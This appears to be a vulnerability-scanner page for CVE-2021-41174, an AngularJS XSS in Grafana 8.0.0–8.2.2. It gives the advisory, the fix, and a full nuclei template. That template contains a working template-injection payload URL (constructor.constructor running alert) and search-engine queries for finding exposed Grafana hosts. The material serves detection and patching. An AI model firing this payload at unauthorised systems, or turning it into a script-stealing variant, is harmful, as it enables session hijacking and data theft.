Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting

mediumseverity

6.1CVSS score

85.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application.

Fix

Upgrade to 8.2.3 or higher.

How to confirm it

Send: GET {{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1
Positive when: contains "Grafana" and "frontend_boot_js_done_time_seconds" AND matches /"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-41174 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-41174

info:
  name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application.
  remediation: Upgrade to 8.2.3 or higher.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41174
    - https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
    - https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
    - https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41174
    cwe-id: CWE-79
    epss-score: 0.85404
    epss-percentile: 0.99721
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,grafana,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Grafana"
          - "frontend_boot_js_done_time_seconds"
        condition: and

      - type: regex
        regex:
          - '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"subTitle":"Grafana ([a-z0-9.]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from